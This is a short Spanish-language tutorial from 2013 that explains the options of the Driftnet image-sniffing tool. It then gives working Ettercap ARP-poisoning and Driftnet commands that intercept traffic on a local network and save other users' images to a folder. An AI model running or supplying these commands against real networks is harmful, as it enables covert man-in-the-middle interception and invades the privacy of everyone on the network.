Utilización Comando Driftnet

Utilización Comando Driftnet

18 mayo 2013

Driftnet captura  tráfico de imágenes de una red 

Driftnet-captura el tráfico de imágenes en una red y los muestra en una carpeta predeterminada, observa tráfico de red y escoge y muestra imágenes JPEG y GIF para la exhibición. Es una invasión de la privacidad horrible y no debe ser utilizado por cualquier persona en cualquier lugar.


Opciones para utilizar Driftnet 

-h: Imprimir un resumen del uso.

-v: Imprimir detalles adicionales de los paquetes capturados para el terminal.

-i interface : Escuchar a los paquetes en la interfaz. De forma predeterminada, Driftnet tratará de recoger el tráfico en todas las interfaces, pero esto no funciona con todas las versiones de pcap, en estos sistemas, se debe especificar una interfaz. En algunos sistemas,Driftnet sólo puede usar el modo promiscuo si se especifica una interfaz.

-a : Operar en "modo de complemento", donde recoge imágenes con Driftnet  para su uso por otro programa, como WebCollage de Jamie Zawinski. En este modo, no se muestra ninguna ventana, las imágenes se capturan y se guardan en un directorio temporal, y su nombre escrito en la salida estándar.


-m number : En el modo de complemento, la caída en silencio las imágenes si no son más que el número en el directorio temporal. Se supone que otro proceso se borrarán las imágenes que se ha procesado.

-x prefix : El prefijo de nombre de archivo que se utilizará al guardar las imágenes, por defecto 'Driftnet '


En esta ocasión vamos a realizar un ataque mediante la combinación de el comando Driftnet y  Ettercap para guardar las imágenes en una carpeta donde quedara todo el trafico de las mismas, para ello vamos a realizar la ejecución con la siguiente linea de comando:


* En una terminal introducimos lo siguiente:
      ettercap -i eth0 -q -T -M arp // //


* En otra terminal digitamos
      driftnet -a -d /root/ima -p -i eth0
      ima haciendo referencia a la carpeta creada